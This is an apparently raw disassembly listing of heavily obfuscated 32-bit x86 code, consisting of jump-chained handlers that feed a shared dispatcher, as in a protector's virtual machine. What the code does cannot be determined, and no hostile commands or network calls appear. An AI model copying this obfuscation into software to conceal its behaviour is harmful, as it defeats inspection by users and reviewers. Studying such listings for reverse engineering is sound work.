; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_58C7FC:				; CODE XREF: sdfs____:0058FA3Aj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 160D18EAh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 682F6FF2h
		shl	eax, 8
		not	eax
		jmp	loc_59027C
; ---------------------------------------------------------------------------


loc_58C81F:				; CODE XREF: sdfs____:00596198j
		mov	edi, 3D81796Bh
		sub	edi, 0FA7A33BDh
		sub	ecx, edi
		jmp	loc_58EA0B
; ---------------------------------------------------------------------------


loc_58C831:				; CODE XREF: sdfs____:00596312j
		push	84Eh
		jmp	loc_59578D
; ---------------------------------------------------------------------------


loc_58C83B:				; CODE XREF: sdfs____:0059328Cj
		mov	ebp, 0D452BB0h
		jmp	loc_595DDF
; ---------------------------------------------------------------------------


loc_58C845:				; CODE XREF: sdfs____:0059174Fj
		push	edx
		jmp	loc_591B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_58C84B:				; CODE XREF: sdfs____:loc_58C31Cj
					; sub_5985AE-5F6Dj
		xor	edi, 5C0056FCh
		jg	loc_591FE4
		xor	edi, 7DBB6A95h
		mov	ebp, edi
		or	al, 77h
		pop	esi


loc_58C862:				; CODE XREF: sdfs____:005967BFj
		jg	loc_591857
		sub	eax, 1B8C5529h
		sub	ebx, eax
		pop	eax
		add	ebx, eax
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_5985AE
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_58C873:				; CODE XREF: sub_5BB696-26DB7j
		xor	ecx, 4A1C71DDh
		mov	edx, ecx
		pop	ecx
		or	edx, 79692F42h
		dec	edx
		xchg	edi, edx
		xchg	ebx, edi
		not	ebx
		jmp	loc_5949FF
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_58C88E:				; CODE XREF: sdfs____:00596185j
		add	edi, esi
		jmp	loc_595EA3
; ---------------------------------------------------------------------------


loc_58C895:				; CODE XREF: sdfs____:loc_597438j
		jmp	loc_59759E
; ---------------------------------------------------------------------------
		push	731Bh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		push	4130h
		mov	[esp], ebx
		push	edi
		mov	edi, 3F4B31F8h
		mov	ebx, edi
		jmp	loc_58DD24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58C8C0:				; CODE XREF: sub_591435-2C2j
		pop	ebp
		xor	ebp, 380274B2h
		add	edi, ebp
		pop	ebp
		add	edi, 2
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], edi
		push	[esp+0Eh+var_C+2]
		pop	edi
		jmp	loc_58F53B
; ---------------------------------------------------------------------------


loc_58C8E0:				; CODE XREF: sub_591435+53C6j
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_596C33
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58C8EE:				; CODE XREF: sdfs____:005976D8j
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_597B21
; ---------------------------------------------------------------------------


loc_58C8F8:				; CODE XREF: sdfs____:00590AF7j
		push	dword ptr [esp]
		jmp	loc_593464
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58C900:				; CODE XREF: sub_594228-7AB9j
		mov	[esp+1Eh+var_20+2], edx
		mov	edx, esp
		push	eax
		mov	eax, 259A0493h
		inc	eax
		shr	eax, 3
		push	ebx
		mov	ebx, 33606693h
		sub	ebx, 25480985h
		and	eax, ebx
		pop	ebx
		or	eax, 587D76E0h
		sub	eax, 5C7D76DEh
		sub	edx, 626233DCh
		jmp	loc_58D31A
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58C933:				; CODE XREF: sdfs____:00597DDCj
		dec	ecx
		jmp	loc_591642
; ---------------------------------------------------------------------------


loc_58C939:				; CODE XREF: sdfs____:00594ACDj
		push	79A6h
		mov	[esp], esi
		push	6F8Ch
		mov	[esp], edx
		mov	edx, 1
		push	edx
		mov	esi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_591047
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58C963:				; CODE XREF: sub_5917C0+42BEj
		pop	edi
		add	esi, 1
		push	0A42h
		mov	[esp-4+arg_0], edi
		mov	edi, 12126D97h
		sub	esi, edi
		pop	edi
		jmp	loc_597685
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58C97C:				; CODE XREF: sdfs____:00593E26j
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_595EA9
; ---------------------------------------------------------------------------


loc_58C997:				; CODE XREF: sdfs____:0059180Fj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 27991D8Ah
		push	ebx
		jmp	loc_591550
; ---------------------------------------------------------------------------


loc_58C9B2:				; CODE XREF: sdfs____:0058C1C2j
		add	esp, 4
		jmp	loc_58EFB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58C9BA:				; CODE XREF: sub_591435+D75j
		xchg	ebx, [esp+10h+var_10]
		jmp	loc_5908AB
; ---------------------------------------------------------------------------


loc_58C9C2:				; CODE XREF: sub_591435-4C44j
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58C9C7:				; CODE XREF: sdfs____:00598DCDj
		pop	ecx
		sub	al, bl
		add	al, 0FAh
		pop	ebx
		add	al, 0D5h
		add	al, bl
		sub	al, 0D5h
		push	edx
		mov	dh, 0C8h
		and	dh, 0ECh
		push	ecx
		jmp	loc_58BFB0
; ---------------------------------------------------------------------------


loc_58C9DF:				; CODE XREF: sdfs____:0058F340j
		mov	ecx, 0B768F6F9h
		jmp	loc_592222
; ---------------------------------------------------------------------------


loc_58C9E9:				; CODE XREF: sdfs____:00596039j
		xor	al, bl
		pop	ebx
		push	2E52h
		mov	[esp], ebx
		jmp	loc_58CD06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58C9F9:				; CODE XREF: sub_5941BD-316j
		mov	edi, 62B40AB7h
		not	edi
		add	edi, 62232370h
		inc	edi
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		mov	ebp, 7F624283h
		push	edx
		mov	edx, 6D405330h
		add	edx, 605F4E71h
		jmp	loc_58D09E
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58CA26:				; CODE XREF: sub_591370-40BCj
		mov	ecx, 544DFCE8h
		add	esi, 2DD27154h
		add	esi, 781472F6h
		jmp	loc_58CD1B
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_58CA3C:				; CODE XREF: sub_59214E-4622j
					; sdfs____:00598A5Aj
		xor	esi, 5D46F1E0h
		jmp	loc_58D333
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------


loc_58CA47:				; CODE XREF: sdfs____:0058BC83j
		pop	eax
		xor	ecx, 66474E6Ch
		shl	ecx, 8
		jmp	loc_597BEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_58CA56:				; CODE XREF: sub_58BAD7+8FD8j
		pop	ecx
		mov	ebp, [esp+0]
		jmp	loc_590947
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58CA5F:				; CODE XREF: sub_5917C0+3A13j
		jno	loc_596637
		jmp	loc_596BD3
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_58CA6A:				; CODE XREF: sdfs____:0058E3D2j
		add	eax, ebx
		add	eax, 57634C12h
		push	ecx
		sub	esp, 4
		jmp	loc_58F361
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58CA7A:				; CODE XREF: sub_591370-356Aj
		push	ecx
		mov	ecx, 0E103161Eh
		jmp	loc_597A27
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58CA85:				; CODE XREF: sdfs____:0059001Aj
		add	ebp, edi
		sub	ebp, 3917457Ah
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_58FBB5
; ---------------------------------------------------------------------------


loc_58CA99:				; CODE XREF: sdfs____:0058C30Bj
		sub	edi, 479D77C8h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esi, edi
		mov	edi, [esp]
		jmp	loc_598363
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5959D4
; ---------------------------------------------------------------------------


loc_58CAC6:				; CODE XREF: sdfs____:00591847j
		pop	esi
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58CADA:				; CODE XREF: sdfs____:00595B32j
		mov	ecx, [esp]
		add	esp, 4
		sub	dl, 16h
		not	dl
		sub	dl, 0FFh
		push	0
		sub	[esp], dl
		mov	dl, [esp]
		push	ebp
		jmp	loc_58EF8E
; ---------------------------------------------------------------------------


loc_58CAF9:				; CODE XREF: sdfs____:00591E03j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		jmp	loc_596C78
; ---------------------------------------------------------------------------


loc_58CB07:				; CODE XREF: sdfs____:00597E76j
		add	al, dl
		jmp	loc_5942D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58CB0E:				; CODE XREF: sub_5962EB-7D1Ej
		and	esi, 0B6A6153h
		jmp	loc_58CC4B
; ---------------------------------------------------------------------------


loc_58CB19:				; CODE XREF: sub_5962EB+1933j
		push	eax
		jmp	loc_59566E
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596F8A


loc_58CB1F:				; CODE XREF: sub_596F8A-6A87j
		push	59E0h
		mov	[esp+8+var_8], ebp
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	eax, 200000h
		mov	ebp, eax
		push	[esp+0Ch+var_C]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		sub	esp, 4
		jmp	loc_597B60
; END OF FUNCTION CHUNK	FOR sub_596F8A
; ---------------------------------------------------------------------------


loc_58CB52:				; CODE XREF: sdfs____:0058D597j
		pop	esp
		jmp	loc_59594B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58CB58:				; CODE XREF: sub_594228+3827j
		add	edi, edx
		sub	edi, 106C412Dh
		push	[esp+22h+var_24+2]
		pop	edx
		add	esp, 4
		xchg	edi, [esp+1Eh+var_20+2]
		mov	esp, [esp+1Eh+var_20+2]
		jmp	loc_591F72
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58CB72:				; CODE XREF: sub_5987BC-5E62j
		xchg	eax, edi
		jmp	loc_58E24D
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_58CB78:				; CODE XREF: sdfs____:loc_5928DBj
		xor	ecx, 28B8E3A3h
		jmp	loc_5948AB
; ---------------------------------------------------------------------------


loc_58CB83:				; CODE XREF: sdfs____:00594871j
		add	esp, 4
		push	edx
		push	edi
		mov	edi, 58F96EE2h
		push	ebx
		mov	ebx, edi
		mov	edx, ebx
		pop	ebx
		pop	edi
		not	edx
		sub	edx, 7AB51284h
		dec	edx
		shr	edx, 4
		sub	edx, 2C517E5h
		add	ebx, 26A2396h
		add	ebx, edx
		jmp	loc_5926CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E01A


loc_58CBB3:				; CODE XREF: sub_58E01A+20j
		xchg	ebp, ecx
		push	3970h
		mov	[esp+4+var_4], edi
		jmp	sub_596D34
; END OF FUNCTION CHUNK	FOR sub_58E01A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_58CBC2:				; CODE XREF: sub_58EB23-1AD2j
		push	[esp-0Ch+arg_4]
		pop	ebp
		jmp	loc_591C2C
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------


loc_58CBCB:				; CODE XREF: sdfs____:0058D4CBj
		add	[esp+4], eax
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_591707
; ---------------------------------------------------------------------------


loc_58CBDB:				; CODE XREF: sdfs____:00594CB8j
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	70F8h
		jmp	loc_590D9E
; ---------------------------------------------------------------------------


loc_58CBF1:				; CODE XREF: sdfs____:0058E38Bj
		add	eax, 7CE265FAh
		add	eax, 533414AAh
		jmp	loc_58F768
; ---------------------------------------------------------------------------


loc_58CC00:				; CODE XREF: sdfs____:00594131j
		xor	esi, 3D1F0962h
		not	esi
		sub	esi, 0ACF439A1h
		push	esi
		pop	edx
		pop	esi
		jmp	loc_596879
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595678


loc_58CC16:				; CODE XREF: sub_595678-2B19j
		push	esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 41AF55F8h
		shr	ecx, 2
		xor	ecx, 2FA230D8h
		jmp	loc_595D4B
; END OF FUNCTION CHUNK	FOR sub_595678
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58CC2D:				; CODE XREF: sub_59841F-74C0j
					; sdfs____:0059218Ej
		add	ebp, 2938531Ch
		sub	ebx, ebp
		jmp	loc_598A48
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596F8A


loc_58CC3A:				; CODE XREF: sub_596F8A-77A5j
		add	edi, 4
		xchg	edi, [esp+10h+var_10]
		pop	esp
		pop	ebp
		push	edx
		jmp	loc_5904F8
; END OF FUNCTION CHUNK	FOR sub_596F8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58CC4B:				; CODE XREF: sub_5962EB-97D7j
		xor	esi, 2404004h
		add	ecx, esi
		pop	esi
		push	esi
		mov	esi, 5EDF2CCCh
		xor	esi, 678D7DB1h
		xor	esi, 39525179h
		sub	ecx, esi
		pop	esi
		xor	ecx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ecx
		jmp	loc_595C79
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58CC74:				; CODE XREF: sub_5987BC-A958j
		js	loc_592D9E
		jmp	loc_593CCC
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
		pop	esp
		add	bl, 0CBh
		push	ecx
		mov	ch, 0F4h
		mov	ch, cl
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58CC88:				; CODE XREF: sub_5941BD+32B6j
		neg	ebx
		push	ecx
		mov	ecx, 37E3508Fh
		or	ebx, ecx
		jmp	loc_592FE2
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_58CC97:				; CODE XREF: sdfs____:00593122j
		sub	bl, dl
		pop	edx
		jmp	loc_59220F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BDAA


loc_58CC9F:				; CODE XREF: sub_58BDAA+C01Aj
		push	1
		push	[esp+4+var_4]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		and	ecx, ebp
		push	[esp+4+var_4]
		jmp	loc_58E351
; END OF FUNCTION CHUNK	FOR sub_58BDAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58CCC2:				; CODE XREF: sub_5962EB-430Cj
		add	edx, 0E92BB694h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		sub	esp, 4
		mov	[esp-8+arg_4], ebp
		push	[esp-8+arg_8]
		pop	ebp
		pop	[esp-8+arg_4]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	sub_58D9A7
		push	5CE4h
		mov	[esp-0Ch+arg_8], esi
		mov	esi, ebx
		mov	eax, esi
		push	[esp-0Ch+arg_8]
		pop	esi
		jmp	loc_58E0E8
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_58CD00:				; CODE XREF: sdfs____:0059312Cj
					; sdfs____:0059827Fj
		push	esi
		jmp	loc_596F30
; ---------------------------------------------------------------------------


loc_58CD06:				; CODE XREF: sdfs____:0058C9F4j
		push	ecx
		mov	ch, 47h
		mov	bh, 48h
		xor	bh, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_596385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58CD1B:				; CODE XREF: sub_591370-4939j
		sub	esi, ecx
		sub	esi, 781472F6h
		sub	esi, 2DD27154h
		pop	ecx
		sub	eax, esi
		push	[esp-8+arg_4]
		push	[esp-4+arg_0]
		pop	esi
		add	esp, 4
		add	esp, 4
		jmp	loc_591448
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58CD3E:				; CODE XREF: sub_59841F-9B66j
		xor	edi, 9441CAA7h
		mov	esi, edi
		pop	edi
		add	ebx, esi
		pop	esi
		push	dword ptr [eax]
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58CD51:				; CODE XREF: sub_594228-39D2j
		xor	ecx, 5097645Bh
		jmp	loc_597C9C
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58CD5C:				; CODE XREF: sub_5941BD-250Bj
		pop	edx
		dec	ecx
		jmp	loc_58C24A
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58CD63:				; CODE XREF: sub_594228+2BB1j
		sub	esi, 5A3C1172h
		jb	loc_58CF2E
		shl	esi, 7
		jmp	loc_590CA1
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		sub	ecx, 33E869A6h
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58CD7E:				; CODE XREF: sub_594228-458Cj
		jz	loc_58E498
		jmp	loc_59805C
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58CD89:				; CODE XREF: sdfs____:00594057j
					; sdfs____:005960F1j
		mov	[esp], edx
		push	ebx
		push	54E31CCh
		jmp	loc_58DC7D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_595487
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58CDA6:				; CODE XREF: sub_5941BD-83AEj
		push	[esp+18h+var_18]
		jmp	loc_594710
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58CDAE:				; CODE XREF: sub_591370+4885j
		pop	esi
		pop	edx
		push	ebx
		mov	ebx, 3ED566B3h
		sub	ebx, 19E61FC4h
		sub	edi, ebx
		pop	ebx
		jmp	loc_58DB81
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58CDC4:				; CODE XREF: sub_59841F-5086j
		xchg	edx, [esp-4+arg_0]
		pop	esp
		idiv	ecx
		push	1F74h
		mov	[esp-4+arg_0], edx
		push	eax
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_58CDD9:				; CODE XREF: sub_59214E+823j
		pop	esp
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59214E

; =============== S U B	R O U T	I N E =======================================



sub_58CDE6	proc near		; CODE XREF: sub_594767-25CEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058C294 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D194 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058DF0B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DFF8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058F2E6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005904DA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00592241 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005922C4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059232D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00592FC8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593E59 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00594947 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595B3D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005986B7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00598C57 SIZE 00000026 BYTES

		push	ebx
		pop	ebp
		pop	ebx
		add	ebp, 1ACA1165h
		add	ebp, ebx
		jmp	loc_59232D
sub_58CDE6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58CDF6:				; CODE XREF: sdfs____:0059419Aj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_58F65D
; ---------------------------------------------------------------------------


loc_58CE0E:				; CODE XREF: sdfs____:00593D6Cj
		xor	edi, 739ABABh
		xor	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	7E072C30h
		mov	eax, [esp]
		jmp	loc_58EB56
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58CE4D:				; CODE XREF: sdfs____:0058DF98j
		shr	edx, 6
		or	edx, 7CEC77C3h
		xor	edx, 7CEC77E7h
		mov	ebp, edx
		pop	edx
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	eax, ebx
		push	45DCh
		mov	[esp], ecx
		push	edi
		push	640D135Ah
		pop	edi
		add	edi, 30BD0BFFh
		jnz	loc_58E78F
		xor	edi, 0C5E3BB8h
		mov	al, ah
		mov	ecx, esi


loc_58CE8F:				; CODE XREF: sdfs____:00593274j
		jbe	loc_593489
		neg	eax
		jns	loc_591D9D
		add	eax, 4F40EDB2h
		mov	ebx, eax
		pop	eax
		sub	ebx, esi
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58CEA8:				; CODE XREF: sub_594228-3E7j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_58FB0B
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58CEB9:				; CODE XREF: sdfs____:00596925j
		add	edx, 4
		jmp	loc_598226
; ---------------------------------------------------------------------------


loc_58CEC4:				; CODE XREF: sdfs____:0058F4ACj
		jz	loc_590730
		and	ebp, 7FC95306h
		push	eax
		push	esi
		jmp	loc_58C693
; ---------------------------------------------------------------------------


loc_58CED7:				; CODE XREF: sdfs____:00595ED8j
		pop	esp
		mov	[esp], edx
		jmp	loc_58FF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58CEE0:				; CODE XREF: sub_591435-99Dj
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_5955A4
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_58CEF0:				; CODE XREF: sub_5941BD-79F2j
		mov	edx, 0DC5E7723h
		xor	esi, edx
		jmp	loc_58F9EF
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_58CEFC:				; CODE XREF: sdfs____:0058F824j
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_591CB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58CF0B:				; CODE XREF: sub_591435+3505j
		mov	ecx, [esp+4+var_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		add	esp, 4
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58CF26:				; CODE XREF: sdfs____:0058C2C9j
		sub	esi, 1
		jmp	loc_5968C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58CF2E:				; CODE XREF: sub_594228-74BFj
					; sdfs____:00598D21j
		shl	esi, 7
		jmp	loc_59611E
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58CF36:				; CODE XREF: sdfs____:0058F2A2j
		sub	ecx, 33E869A6h
		sub	ecx, 6BE618EEh
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 59D87920h
		add	esi, 0FFFFFFFFh
		push	ebp
		push	edi
		push	6D1D5AEBh
		pop	edi
		add	edi, 679039DBh
		sub	edi, 89BB8226h
		jmp	loc_590290
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_58CF81:				; CODE XREF: sub_58BAD7+A80Fj
		pop	eax
		sub	eax, 52E302AFh
		jmp	loc_58DF2C
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58CF8C:				; CODE XREF: sub_59841F-2210j
		mov	esi, [esp+4+var_4]
		add	esp, 4
		add	ebp, 4
		jmp	loc_58E3BC
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_58CF9D:				; CODE XREF: sdfs____:00596D13j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_595872
; ---------------------------------------------------------------------------


loc_58CFB1:				; CODE XREF: sdfs____:005906E2j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58CFC2:				; CODE XREF: sub_5987BC-60A3j
		shr	ecx, 0Ah
		push	esi
		push	5C8Eh
		mov	[esp+0], ebx
		add	dword ptr [esp+0], 73C17AD2h
		pop	esi
		sub	esi, 73C17AD2h
		mov	eax, esi
		push	[esp-4+arg_0]
		pop	esi
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	edi
		mov	edi, 7AE2F40h
		mov	ecx, 7AE2F44h
		xor	ecx, edi
		pop	edi
		jmp	loc_591275
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
		push	3455h
		mov	[esp], edx
		jmp	loc_5905FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_58D00E:				; CODE XREF: sub_59576E+10B5j
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		xor	eax, 653A72ACh
		sub	eax, 1BC5154Fh
		push	ecx
		mov	ecx, 542580Eh
		jmp	loc_595062
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58D029:				; CODE XREF: sub_591435+2C5Cj
		add	edx, 5F76508Ah
		push	eax
		mov	eax, 0B0F1A99Fh
		add	edx, eax
		pop	eax
		add	ecx, 516C0E4Eh
		jmp	loc_590A13
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_58D043:				; CODE XREF: sub_58EB23-3066j
		mov	eax, [esp-8+arg_0]
		add	esp, 4
		push	ebp
		mov	ebp, 2
		add	esi, ebp
		jmp	loc_58CBC2
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6991h
		jmp	loc_598B78
; ---------------------------------------------------------------------------

